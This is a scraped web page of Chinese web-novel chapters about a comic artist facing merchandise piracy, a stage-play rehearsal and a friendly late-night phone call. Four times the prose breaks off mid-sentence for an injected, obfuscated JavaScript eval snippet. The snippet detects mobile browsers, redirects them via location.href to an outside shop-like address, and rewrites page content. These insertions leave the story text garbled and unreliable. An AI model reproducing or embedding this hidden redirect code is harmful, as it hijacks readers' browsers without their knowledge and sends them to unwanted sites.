;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815085|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己只是随手发图，画得多、没有给作品注册登记版权，这才吃了哑巴亏。 被无良商家盗图的都是他点赞评论反响特别好的作品，所以在叶慕唐自己定做的大货出厂之前，网络上的盗版商家都已经赚了好几万了。 也不是没尝试过维权，但是他没那个精力和闲钱跟人吵这个。侵权几乎零成本血赚不亏，而维权成本实在是太高了。 叶慕唐双手将签绘递过去，还是没忍住开了口，“那个手机壳……” “啊，我还想问太太呢，这个手机壳什么时候能再贩啊？真的好喜欢这个系列。这个我买得有点久，都有些掉色变色了，想买新的才发现已经没货了。” 叶慕唐深吸一口气，鼓起勇气说：“……其实，我这款图没有授权做手机壳的。这家店被我举报了盗版，虽然没罚款，但东西应该是下架了。” “啊？” 姑娘瞪大了眼睛，愣在原地。 尴尬的氛围持续了不到三秒，那女孩回过神来，直接把手机壳扒了下来。 “对不起、对不起，我不知道这个是盗版，太太对不起！”她试图把手机壳当场销毁，却发现那玩意儿充满弹性，拧一下还能恢复原样，急忙说，“我还问过商家是不是正版，有没有授权的。” 叶慕唐叹了口气。 “之前我有制品授权给了亲友的一家店铺，有人问店主要过自证有授权的截图，我们都以为是顾客就给了，谁能想到要图的人是盗版商家？他拿到我们的自证转手就发给顾客骗人说自己是正版了。” 女孩听了也气得不行，“啊？这也太恶心了吧，怎么能这样？！” 而此时，叶慕唐和女孩都注意到，隔壁摊主挂着橘色卷发的耳朵越凑越近，那人给自己顾客打包的动作都慢下来了。 叶慕唐：“……” 隔壁摊主：“……” 跟着吃瓜的隔壁顾客：“……” 太尴尬了。 偷听被抓包的隔壁摊主装作手上很忙的样子，多给客人塞了好几个无料。 没有人光顾叶慕唐的摊子，为了显得自己很忙、没有发现什么异常，他拿出空白色纸开始现场画画。 其实，两个人都注意到了，他跟隔壁的摊主，已经视奸对方摊位很久了。 叶慕唐是个社交恐怖分子，他倒是可以直接叫着“神仙老师”扑上去，但他明显地感受到了，隔壁摊主是个社交恐惧，至今不敢跟他有任何视线交流。 还是不要吓到人家太太比较好。 叶慕唐悄悄地摸出手机，根据制品和关键词搜索到了对面摊主的社交媒体账号关注。然而，等界面刷新一下，才发现他与这位十万粉丝的“酸酸球”太太在刚刚那一秒钟已经成为了互关好友。 这手速，也没谁了吧？ 他扭头看向隔壁，发现酸酸球太太整个身体忽然僵硬了起来，拿东西都梗着脖子绝对不会把正脸转到叶慕唐这边来。 过了一会儿，隔壁的摊子人流量也没那么多了，摊主得以空闲下来。 一直都不怎么忙的叶慕唐在刷酸酸球太太的图，不断点赞，微微试探。 酸酸球在刷夜幕糖太太的大眼仔，点赞转发，评论区狂吹彩虹屁玩梗上蹿下跳，但就是头都不扭过来一下。 叶慕唐算是发现了，酸酸球还真是个特别典型的内向型创作者，谈及自己作品上头了很能说，互联网热梗玩得很溜，但只要是跟人面对面马上宕机给你看。 如果他不主动的话，酸酸球可能这辈子都想当着面用手机聊天。 这样的人，只会成为社交恐怖分子的玩物。 于是，叶慕唐坏笑着主动把头探到隔壁。 “酸酸球老师。” 老师全身僵硬了。 “酸酸球老师！！”叶慕唐叫得更大声了，“请问您摊子上的神仙制品能一样给我两份吗？我自己想要收藏一份，还想送给我一个很重要的朋友。能给个To签吗？” 莫名地，他觉得平野月一定会喜欢的。 18. 排练 就在叶慕唐参展的同一天，江浏参演的舞台剧排演也步入正轨。 没有花里胡哨的开机仪式，没有求神拜佛的迷信环节，没有女人不能坐道具苹果箱的新式封建规矩。 直接排练，乔导的作风就是这么简单粗暴但高效。 “从上场口沿着过道走过去，步速要跟着音乐，但别完全踩在音乐的重拍上。好，拿起花束上的贺卡，不要一直低头盯着卡片读。你的好朋友就在观众席送你，远远地，再看她最后一眼。” 乔希娜导戏的指令非常明确，她很清楚自己想要的效果，也很会用情景引导演员的情绪。 而在身形高挑的她面前，留着齐刘海高马尾、穿着五分裤和宽大T恤衫、背着小书包的桂予宁，看起来像是一团孩子气的学生，倒也是符合原著。 谁能想到是一米七五的导演年龄比较小呢？ 看着学妹导演给学姐导戏，江浏带着点看戏的心态，还有点说不上的欣慰。 眨眼间，他的学妹都能独当一面了。 “岁月不饶人啊！”江浏喃喃自语，“桂予宁除外。” 那张抗老的娃娃脸和永动机似的充沛精力真是天给的，随着年龄增长非但没有积累疲劳、死气，反而因为经验的增加和见识的增长，越演越好、越演越精神了。 饰演女主母亲的演员差不多也是桂予宁的同龄人，走的是大青衣的路线，演技也相当过关，和男主父亲的演员你一言我一语，老夫老妻的熟稔感一下子就出来了。 谁能想到，俩演员算上今天也就见过两次面？ 真应了桂予宁说的那句“乔导会选人”。 还没到江浏登场，他暂时没戏乐得清闲，交叉盘腿坐在地上，津津有味地看着其他演员的表演。 剧情一点点推进，越往后乔导的眉头皱得越紧。 她喊了暂停，把主要的演员都叫到了身边。 “现在我们表演的肢体语言都太‘卡通化’了。”乔希娜挥舞着手臂，略带夸张地模仿演员刚刚的表演，“一会儿这样，一会儿那样，有点太像是……怎么说，像什么呢……” 旁观者清，江浏试探着给出他的猜测，“像花车巡游？” “对，就是花车巡游！”经由江浏提醒，乔导终于把卡在嘴边却又说不出来的东西讲了出来，整个人思路都通畅了，“给我感觉像是迪思妮乐园的花车表演，有点太过劲儿了。” 看过刚才排练的录像之后，演员们也纷纷表示确实有点用力过猛了。 乔导说：“想还原的想法是好的，但是不能太夸张了。动画的肢体和表情幅度太大，我们要带着控制、收着点去表现，不用一比一模仿。我们的故事很有童话色彩但不是儿童剧，就算小孩儿也不喜欢儿童剧式的表演啊。” 她又单独指导了部分演员的几处细节，全体再来一遍。 这回，演员们的动作总算是自然、正常了许多，大家慢慢探索动漫感和生活化的平衡，表演看上去顺眼不少。 最吸睛的肢体问题解决了，台词的问题就暴露得更加明显了。 江浏对这样的落差和变化十分敏感。他总觉得，现在演员们的台词状态特别像早期国产动画配音刻意模仿日式配音腔调的那种感觉，在奇怪的地方戏剧化地抑扬顿挫、情绪激动。 听得他都有些母语羞耻。 演员们的状态互相影响，都不知道是谁带的，越往后味道越怪了。 乔希娜再次叫停。 她给出简洁明了的指令，“台词，要日常、要平。棒读一点都没问题，我就要‘棒’的。” 再来一遍，这回好了一点，但不多。 “好些，再平一点。” 桂予宁跟随乔导的指示将那句台词反复地演着。 “还要再平！” 破案了，江浏不厚道地捂住自己偷笑的下半张脸。 把其他演员也带跑偏的，恰好是桂予宁这个原作的忠实粉丝。 看样子，她是太喜欢原作、刷过太多遍原版，已经被腌入味了。 乔希娜对此早有预料，不慌不忙地讲着，“我们要还原，是适当地用我们本土化的表达去表现人物。一味地模仿原语言版本，就像是打着‘樱花’噱头放香精的樱花味食物，特别的难吃。” “好，我试试。”桂予宁很快意识到自己的问题所在，态度也好，没有因为导演年纪小而轻视对方的指示。 然而乔希娜并不着急，她自有妙计。 “这样，我们都用自己的家乡话来演一遍试试看。”乔导提议，“怎么土怎么来。” 话音刚落，江浏和桂予宁对上了视线，不约而同地偷偷笑了。 这是陈老太太很喜欢用的方法。 “好，我们再试一遍。” 乔希娜坐回自己的宝座，脸上是有好戏看的表情。 “咁落去实荡失路?喇，你次次都係咁！（这样下去又要迷路了，你每次都是这样）”演母亲的女演员简直是包租婆上身，能让人幻视满头的卷发棒。 演父亲的男演员一开口就把整个片场拉到了黄土高坡，“哎呀，嫑紧！就当咱自驾游浪几圈嘞！” 两个演员的方言区一个在北，一个在南，竟然真的接得上话。 在演员自己最熟悉的家乡话里，自然而然地以松弛、舒适的状态表演。对方演员的口音逗乐又能缓解双方的紧张感，以极大的反差将所有人拉出刚刚的小日子腔循环。 桂予宁看着可可爱爱小小只，其实是个北方人，说起台词跟春晚演小品似的。 “哎呀妈呀！这给我干哪儿去了？” 她此前为了贴合角色的年龄微微提高调值，把声音捏得年轻甜糯一些，现在的状态太松弛了，根本顾不上声线，又变回了原来微沙的声音，“不得，我不去，我们回去吧！” 排练现场太自然了，自然过头了。 实在是没忍住，乔希娜带头笑场。除了正演着的演员，其他围观的演职人员都笑得前仰后合，看着台上的她们在一浪高过一浪的笑声里，越演越放飞自我。 乔希娜实在是笑得不行了，挥手叫停。 “可以了，可以了。桂予宁一开口我就觉得是刘老根乡村大舞台。这个方言表演，我们真的可以安排，当返场特别演出。”她收收笑，“这遍我们正常来吧。” 人们敛了笑，重新投入排练当中。 肢体和台词的问题解决之后，演员们的表演就顺当许多了，哪怕偶尔还会有些瑕疵，但也比之前好上太多。粗排很快就能出效果，演职人员的信心也在一点点地增加。 既要还原原作，又要语言和肢体自然，还要与音乐的节奏、情绪、段落同步。 想在第一天的排练中就做到完美是不可能的，但只要新的一遍比上一遍好，所有人在正确的方向上稳步前进就够了。 剧情向下推进，乔希娜不会在第一天就让众多在候场的演员长时间干坐板凳不干活，最后搞到一大半的人都无所事事、纪律散漫，不然以后组里风气不好就难管了。 江浏倒是耐心，最佳观影席也坐得差不多了，该他上场了。 等待是演员的必修课，在排练厅、在片场，就是有很多的时间是被“浪费”掉的。比起有些演员耍大牌不下保姆车拖着不开拍、让整个剧组烧着钱等人的情况，眼下的等待已经是最充实、最有意义的那种了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815086|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>在此前的排练中，江浏细致地观察乔希娜的工作模式和审美导向。为得是能即时调整沟通与表达的方式，让他与导演的交流更加高效。同时，他也能趁着上场前按照导演的要求修改自己的表演设计。 刚才台上演员方言对戏时，江浏也没闲着，见缝插针地用家乡话顺了几遍词。 他知道自己太喜欢原作了，无论是动画电影还是舞台剧都看过太多遍，很容易出现跟桂予宁一样的台词问题。 确认过接下来这场戏的走位和音乐重要的乐句节点，江浏和桂予宁停着音乐简单顺了一遍，随后，他走到了道具帘子的后方候场准备正式开始。 扬声器里，激烈昂扬的铜管乐走向乐句的半终止。音效师调整音量，营造出电车由远及近，再渐渐远去的声场。 忽然，那些汽笛声和喧嚣都安静下来。 清透的、微凉的乐音在紧张的情绪中营造出神圣又柔和的静谧。如果有灯光，那么方才危险的红光应在此时转为令人心安的沉静蓝色。 音乐到了出场的节点。 江浏掀开帘子的动作带着点戏曲的身法，却没有把仪态做得太端着、太刻意，他拿捏的分寸恰到好处，举手投足让那身素色的排练T恤衫有了羽织袴古色古香的意味，又像是自然流露。 仅仅亮相的两秒钟，那个沉静的龙少年便已经在观者倍感惊艳的视线中立住了形象。 有种一上场就知道他是好人，他的出现本身就给人安全和信任的感觉。 他抬眸，看见了红木桥上的人类女孩，眼底的震惊和担忧打破了原本的冷峻。 “这不是你该来的地方！快回去！” 少年快步上前，紧忙催促女孩回到河对岸回到人类的世界。 “天马上就要黑了，你得趁着天黑之前回去……” 哪怕卡着音乐的台词清晰、语速并不快，也能听出他话音中满满的焦急。 “不好，灯已经亮了。”在音乐里，江浏环视四周，“我来争取时间，你向着河岸的方向跑，跑快点！” 莹白如玉的指尖指明方向。女孩虽然还搞不清楚状况，但已经隐隐感觉到了危险，顺着他的催促飞速跑了起来。 龙少年施法，吹动掌心的龙鳞，那些白色的鳞片如樱花般散去。 单是这个吹花瓣道具的动作，江浏在家就练了半个多小时。 怎么用有限的肺活量把花瓣吹得更远？舞台上没有特效，怎么让动作的氛围营造魔法的神秘感？怎么设计才能在舞蹈化和生活化之间找到不叫观众尴尬的平衡点？ 他费尽全力，才在此刻显得那般自然和轻描淡写。 老搭档的配合十分默契，可以说是从今天排练开始以来最顺利的一场了。 等到短短的这场戏结束，台下的演职人员们都忍不住鼓起掌来，连乔希娜都很给面子地加入了鼓掌的阵营。 “这个龙少年是帅到我了，可以的、可以的。这段目前没什么问题，我们往下走。” 得到了来自乔导的认可，江浏自然是开心的。 眼前的情景并不陌生，因为打学生时代起，他就从来不在第一组展演。 都是学生，能力差距没那么大，江浏设计的原方案与前面几组的展示没什么本质上的区别，都有问题、都会被骂。 但他可以趁着出头鸟被挑刺，自己现场根据老师的要求改好，现改现练，等练好了差不多也轮到了他。几乎完美符合要求的表现让老师眼前一亮。 每到这时，陈老太太总是会欣慰地夸上一句，“那么多组过去了，终于味儿对了！” 从前如此，如今亦然。 这么想，他真的好绿茶啊。 19. 电话 【CN平野月】：收工到家！今天真是要累死了。 【CN平野月】：[表情动画：小兔子躺平] 【夜幕糖】：月总加完班了？辛苦辛苦，收工好晚呢！ 【夜幕糖】：[摸摸] 【夜幕糖】：一切都还顺利吗？ 【CN平野月】：项目难度比较大，肯定会遇到困难的，不过大家都在想办法解决，总体来讲还是不错的。这次合作氛围很好，所以就算是累到不行，心里也不会觉得特别辛苦。 【CN平野月】：因为工作内容签了保密协议，所以不能说的太具体。但是这次合作对象有我大学同学，她也在看糖老师的新作。 【夜幕糖】：真的假的？要签绘吗，我可以画！ 【CN平野月】：我都没有你的签绘呢！ 【夜幕糖】：给你画！给你画！等我画完更新马上就给你画！ 【CN平野月】：那我就不客气地收下了[比心] 【CN平野月】：对了，糖老师今天出摊情况如何？ 【CN平野月】：之前你说过出了不少问题，我还有点担心，都怎样了？ 【夜幕糖】：那可真是跌宕起伏、一言难尽[捂脸] 【夜幕糖】：我分镜画完了在描线赶稿呢，打字不太方便，如果你不介意的话，我能一边描线、一边给你打语音电话说吗？ 提出这个要求的时候，叶慕唐是忐忑的。 比起文字，语音要亲密太多太多，同样的占用的时间也太多了。 正常的成年人阅读五百字到六百字的文章只需要不到一分钟的时间，如果是不感兴趣的内容选择性地跳读，时间则更短。 但语速再怎么快，顶多也就是一分钟一百二三十个字。如果说话的人语言表达能力差，经常口误、停顿、逻辑混乱，更是输出效率低下，对听者而言简直是折磨。 相处了这么久，叶慕唐也能感觉出来，平野月很在乎效率和私人时间。 他控制不住地想：自己身上的那些破事儿，真的值得对方在辛苦工作一整天之后花费宝贵的休息时间来听吗？ 以及，平野月会觉得他们的关系已经到可以互相通话的程度了吗？ 还没等叶慕唐因为后悔而撤回那条消息，对面的回复便弹了出来。 【CN平野月】：可以啊！ 【CN平野月】：掉落了只有我能听的直播加更，好开心！ 叶慕唐收回了要撤回的手指，自己都没意识到他松了一大口气。 【CN平野月】：能等我十五分钟吗？天太热了，我想冲个澡。 【夜幕糖】：快去快去~等你好了再敲我。 说实话，叶慕唐有点怕这是平野月的缓兵之计。 嘴上说得好好的“等会儿”，结果就再也没有音讯，隔了很久之后再提就是有其他事情耽搁了、搞忘了，打哈哈稀里糊涂地混过去了。算是种不伤人的委婉拒绝。 “如果是这样，我真挺难受的。”叶慕唐停下了压感笔，无法控制地再次拿起了手机，想要再确认是否有新的消息，又略显失落地放下没什么动静的手机。 他心里清楚，平野月有权拒绝任何在人家心里被认定为“过线”的行为，哪怕对方拒绝了他，也是很合理、很正常的。 但理解是一回事儿，心里的感受又是另一回事儿了。 他还是希望，对自己而言独特又重要的人也是这样看待自己的，哪怕他知道自己的希望有些自我中心。 关掉此刻显得有些吵耳朵的音乐，夜晚的房间里只剩下压感笔摩擦的声音。 这样的安静里，手机震动发出的提示音足以吓得叶慕唐全身都打寒颤。 【CN平野月】：久等，我洗好了~ 【CN平野月】：你打给我，还是我打给你？ 不是拒绝、不是借口，平野月真的只是去洗了个澡。 什么难过啊、失落啊都被叶慕唐瞬间抛到脑后，他喜滋滋地发了表情包。 【夜幕糖】：我来打！ 【CN平野月】：那你来~ 几乎是在电话过去的瞬间，对面就接了起来。 一时间，两边都是静静地。 他们其实见过面的，也都听过彼此的声音。 但不知为何，在这通电话面前，难免有点紧张、有点激动，不知道从何开口。 “听得到吗？”还是对面先开的口。 叶慕唐连忙回答：“听得到，听得到。” 神奇的是，真正听到对面声音的那一刻，曾经听过的、熟悉的感觉消解了那些莫名其妙的别扭，让叶慕唐放松了许多。 好像是，回到了那个一起坐在行李箱上休息的下午。 “你听得到我么？”叶慕唐开玩笑道，“听得见扣1哦~” “二。”积攒了白日工作疲劳的笑声听起来有些微微的沙哑，但还有心思开玩笑。转而，对面又问，“怎么样，今天参展是不是累坏了，都发生什么事了？” 叶慕唐忽然变得特别亢奋。 他将过去二十四个小时发生的事情，像是讲脱口秀似的，以陡峭的角度，带着玩梗和一点表演，卖着关子、抖着包袱，嘻嘻哈哈地讲了出来。 “都是同IP，同一对烫门CP的谷子，这怎么不算是一种‘上错花轿嫁对郎’，还是拉郎。” “凌晨四点的洛杉矶是什么样我不知道，但凌晨四点的物流中转站我是见识过了。” 被厂家偷梁换柱、邮错东西确实是充满了负面情绪的事情，但那些不正经的笑话，在以欢笑和不正经的方式去消解那些愤怒和委屈。 对面被他频频逗笑。 “还有隔壁的酸酸球老师，你也见过她的，但你肯定不记得。”叶慕唐说，“上次Fes我低血糖晕倒的那天，你记不记得有个女孩给了我们一瓶可乐？” 江浏惊讶道：“你是说，酸酸球老师就是那天支援我们的……” “对，就是她！那天她也出了Cos，妆浓，再加上我晕得迷迷糊糊的根本没认出来。” 江浏笑着说：“竟然有这么神奇的重逢，真是一件值得开心的事情……天啊，好奇妙的，感觉有这些好事情发生，这个多灾多难的展子去得还是很值的。” “是啊，我请她喝了奶茶，还请她吃了外卖作为答谢。”叶慕唐乐呵呵的，“果然，跟你说说话，不开心的事情会消失，但是开心的事情会加倍。” 说到这里，他丢下压感笔，手舞足蹈地哼着不成调的小曲，蹬一脚地面让转椅上转了个圈。 旋转中，他听到江浏说：“我也是这么想的。” 完蛋，更高兴了怎么办？ “今天营业额怎么样，卖得好吗？”江浏问。 叶慕唐叹了口气，“还行吧!” 他低着头边画边说，“本子被坑了卖得不好，跟厂家battle要到了一点点赔偿，聊胜于无吧！但是吧唧、立牌、钥匙扣和海报卖得不错，带过去的签绘色纸也都送出去了，不至于送不出去还得背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815087|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来。” “最搞笑的来了。”叶慕唐说着自己都笑了，“忙了一天累得要命，把亲友的制品营业额转账，扣除各种交通成本、伙食费、展位费、买别人家制品的消费，今日营业，净赚二百五十块钱。” 江浏很不厚道地笑了，还笑得很大声。 “不过今天认识到酸酸球老师，我觉得对我来说很有启发的。” 叶慕唐收起不正经的腔调，发自内心地说着。 “我不喜欢混圈子，是因为之前见过有些太太很喜欢跟别的太太组小团体，其实为的是吵架的时候能互相‘撑腰’，一起排挤其他创作者，还有引导粉丝为自己的利益冲锋陷阵的。” “怕惹上这些争议和是非，我一直都单机创作，不怎么跟其他太太交流，但偶尔，我想我还是需要来自同行视角的专业的建议，要走出去多看看、多学习的。” 他向平野月描述了那些用荧光颜料藏起来的刀子，用硫酸纸营造出来的灵魂效果，用滤色片或者小镜子配合才能看到的内容，内置了磁铁的流麻…… “我的太佩服那些老师的创意了，这些科研谷真的是打开了我新世界的大门。我一直都做线上的多，都没有了解过，实体的作品有太多的有趣的技术可以玩，是电子无法取代的。” “酸酸球太太说‘她永远记得，她童年翻开冒险小虎队的那个夏天’，偏振片旋转，将谜题的答案缓缓展现在眼前。她也想将那样的快乐和神奇，带给看她作品的人们。” 江浏不由得感叹，“她真是个很棒的太太，被你说的，我都想买她的本子了，让我看看她的主页……仅供场贩？那个能用紫外线灯看的神仙本子竟然线上不卖，只能在线下买。” 话语间的失望是肉眼可见的。 “嗬哈哈~”叶慕唐坏笑几声，“我就知道你肯定会喜欢，所以我都已经帮你买好了！方便的话，给我个地址，我寄给你。” 不等对方说话，他马上补了句，“你不想暴露个人住址的话，快递站、便利店也行！” 江浏能感到那些尊重和克制的体贴，“谢谢你，碰到好东西也都想着我。我很开心，幸好你帮我留了一份。不然你刚刚说得那么诱人，我又买不到，那就是纯纯折磨人了。” 他顿了顿，说：“那买本子的钱……” “我不要！”叶慕唐打断他，“邮费可以到付，但给你的礼物我是不会收你钱的！” 江浏直言，“可是你忙了一天就赚了两百五。” “……”叶慕唐一时竟说不出话。 电话里只有压感笔敲在屏上的声音。 “所以，多少钱我转……” 叶慕唐忽然激动地说：“我画完了！我画完了！给你看，这张我真的好喜欢好喜欢，你快看，新一话的剧透，你就说好不好看、好不好看！” 【夜幕糖】：[图片] 入目是一片绚丽的粉紫色的夕阳，玫瑰吻过的天空下，无尽黄沙与直上云霄的孤烟里，狗皇帝不远万里来到了大将军驻扎的边塞，两匹马驮着二人，在那荒漠旷野里并肩肆意地奔跑着。 这样的跨页是要大屏看能才出效果、看得清细节的，但仅仅是手机里小小的一张就已经足够辽阔和震撼。 比起此前的作品，无论是构图、色彩、还是意境，这张跨页的进步都是惊人的。 “等等，这是……彩色的？” 江浏注意到了不同。 “对！”叶慕唐兴奋的声音传来，“我决定了，以后我要画彩漫了。” 20. 改变 “我想，我也应该与时俱进，要做出改变了。” 叶慕唐只觉得心底有好多好多的浪潮在肆意翻涌，他都说不清那些是什么。 “我必须承认，闭门造车弄不出好东西的。近一年的时间我都太局限于自己的世界了，都不知道窗外的变化到底有多大，这样下去是会被越来越挑剔的读者抛到身后的。” 他越说越激动，语速随着飞速运转的大脑快了起来，每个字都比上一个字坚定。 “我没有酸酸球老师那样的创意，她们始终在创造新的形式、新的东西。是艺术、是天才！但哪怕没有能力向她们那样搞‘科研’，我也不能躺在过去的奖状和辉煌上固步自封。” 他熟悉的圈子太“守旧”了，天天念道着祖宗之法不可变，自欺欺人地忽略世界飞速的变化。 “其实，我很早就知道。我在美术方面有天赋但不多，在技术上画得好是因为我从小就学这个，但要我造出什么新的东西我真的做不到，所以只在舒适圈和安全区徘徊。” 然而，他并不气馁，也没嫉妒，反而是认清了自己。 “但我可能还是有点想法的，所以才在青春期都过了的时节忽然叛逆了一把，跑出来画漫画。我的初衷其实很简单，我就是想给人用画讲一个故事。” 叶慕唐顿了顿，说：“我不记得第一本看的漫画是什么，不记得哪个时间的节点突然就想要画漫画，等到意识过来的时候，我已经在做了……那就，做下去吧！” 对面的江浏听着，只觉得某些被遗忘的东西在复苏和生长。 “我说完了。” 叶慕唐听着对面没有回复的声音，又有些慌乱，“抱歉，说的全都是我自己的事。” “怎么又来，不是说过不许道歉么！”江浏忙说，“我真的感谢你给我分享这些。让我也有了很多的想法和启发，虽然一时间理不清楚、说不出来，但我能感觉到自己好像变得更有动力了。” 叶慕唐小心翼翼地问：“真的吗？” “没有在骗你。”江浏有些无奈，“我说，多少信任我一点吧？难道在你眼里，我是个很差劲的人，让你觉得很有压力吗？” 对面否认三连，“没有、真没有、绝对没有！” “是我自己不好，我有点太社交恐怖分子了经常把握不好人和人之间的亲密度，总是一不小心又做了太冒犯或者不合时宜的事情，有的时候也看不出别人的暗示和信号。” 他音量略小了下来，“我怕我仗着你人很温柔又包容，没注意到你的情绪，让你不舒服了。毕竟一个劲儿地在说自己的事情……” “那倒不会。我这人有不舒服绝对不忍的，不想做的事情连敷衍都懒得敷衍的。”江浏笑着说，“所以放心好了，你能跟我说这些，我很开心。如果有下次，记得还要找我。” 听到这里，叶慕唐心里有些飘飘然，小小地“嗯”了声，算作答应了。 “比如现在，我有些累了，明天还有一整天的工作，实在是熬不动了要睡了，我会直接跟你说晚安的。”江浏抬手关掉了小夜灯，往被子里缩了缩。 叶慕唐连忙说了“晚安”，“那你早些休息，我就不打扰你了。” 他又补了句，“别忘了发我地址，我给你寄本子。” “谢谢你的分享，感觉今晚能睡个好觉，明天早上再斗志昂扬地起来干活。”江浏轻轻地凑近手机的话筒，避开可能会喷麦的角度，轻轻地说了“晚安”。 挂掉电话，理智告诉江浏该睡了，但过于活跃的情绪却对他说“不”。 想要更进一步、想要走出旧的舒适区的人，不只是夜幕糖。卡在瓶颈期的江浏看到对方的思考和改变，怎么可能心里一点触动都没有呢？ 他也想回溯自己的初心，也想尝试新的东西。 首日排练的顺利只是表象。在心里小小地自鸣得意过后，江浏很快冷静下来。 本质上，江浏并没有在排练中寻到新的契机获得突破。他的表演依然延续了之前的工作模式，够用，也是优秀的，但并没有实质性的改变和提升。 龙少年的角色特质正中江浏最擅长的舒适区，比起那些有较大形象差异的角色，对他而言甚至是演起来不怎么费力的。 如何向观众交出“合格”以上的答卷，还需要他继续探索。 “再胡思乱想明天排练小心起不来！”江浏最后看了眼时间，强迫自己把手机放下，闭上了眼睛。 就这样，舞台剧的排练成为了江浏的日常。 尽管他们的团队寂寂无名，但绝大多数演职人员都在提高效率、减少时间和预算的浪费、避免工作失误。 以往江浏已经习惯了的，剧组内裙带关系、层层回扣、职责不明、员工矛盾之类的管理问题，在乔希娜手下几乎不存在。 如果说，目前行业内的剧组大多数都是用夹着白蚁、腐烂中空的木材，随便搭起来的违章建筑，里面的蛇虫鼠蚁都是为了攫取利益肆意地啃噬。那乔希娜的小屋里连半根耗子毛都找不出来。 真是小小年纪，却做到了很多中年大制片人、大导演都没做到的事情。 家里的背景是她的底气，但真正让众人折服的是她的能力。 一个段落中，演员们的表演可能出现了多个不同的问题，但时间所限、演员体力、精力有限，不能从早到晚、翻来覆去只抠这么一小段。舞台的调整有轻重缓急，导演是要抓重点、解决关键矛盾的。 “有的时候，我觉得导戏有点像是去做‘医美’。” 乔希娜曾在休息时半开玩笑地说过。 “现实中看着好好的一张脸，上镜了全都是面部问题，这也得调，那也得调。又想要热玛吉，又想要瘦脸针，又想割双眼皮，又想削下颌骨……但预算和恢复时间有限，不能都做，就得有取舍了。” 解决最主要的矛盾，用最低的成本获得最大的提升。 就像他们排练的第一天，重点就放在了肢体和台词上，效果是立竿见影的。 把控全局的人给力，其他环节也没什么掉链子的人。 乔导的助理小郑老师更是顶级的“J”人，她根据乔导定下的节点和排练内容，整理出条理清晰的排练日程表并以周为单位更新，保证该上班的人按时就位、暂时没有工作的人能得到充分的休息。 龙少年戏份确实不多，江浏时不时还能捞到两三天的假期。 上班创作氛围浓郁、演戏过瘾又开心，下班有小长假，日子过得可滋润了。 本来是奔着找罪受、在痛苦中磨砺自己的内心和演技的，结果他来成享福的了？ 不过，看着充满新生力量的团队，他忽然对此多了些信心。 “滴滴滴滴！” 计时器再次响起，把江浏的思绪拉回排练厅。 他按掉提示音，贴着墙根拉好横叉，上身在地上趴好重新按下了计时器。 “天啊，你真的好软！”桂予宁忍不住感慨，“形体课都过去这么多年了，我早不练了，你还是跟上学的时候一样软。” 上形体课分女班、男班，不在一处上课，但是结课汇报展示可是要一起演的。彩排时看着江浏各种毯功技巧、搬腿控腿，女同学们给的掌声和认可比男同学热烈多了。 江浏实事求是，“那倒没有，我腿还成，但腰伤过之后是真的不敢练太多了，越来越硬，现在基本不怎么下腰了。” “感觉国内下苦功夫练过舞蹈的，基本上都是满身的伤。”桂予宁惋惜地说。 结合自己学舞、学武生的经历，江浏说：“你说的没错，在舞蹈教学方面，我们国内的方法还是比较原始、传统吧。以前经常大早上心率没上来、肌肉还没热好就撕腿。现在想来肯定是伤身体的。” 疼痛是保护身体的信号，其实是不容忽视的。 自从江浏看了几篇国外的舞蹈科学相关论文后，他立即放弃了原本传统的长时间拉伸，尽量用自体的重量软开，不让任何人踩在他身上压。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815088|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>论文里还写了，最佳的软开时间其实是三十到六十秒，在这个时间段内肌肉自然蠕变增加软度，时间再长就会对肌肉产生过大的张力进而造成伤害，专业的拉伸也不建议在极限位置超过九十秒。 江浏看了之后也没管论文的影响因子多少，被引率多少，总之他就是要偷懒。 毕竟年纪大了，能少疼一些是一些。 没想到无痛软开训练下来效果，其实比一味地给自己增加痛苦更好。 他希望这些细微的进步能一点点积累下来，直到质的改变到来的那天。 江浏的眼睛盯着计时器，没等它响就重置了时间，松松腿从墙角爬了出来。 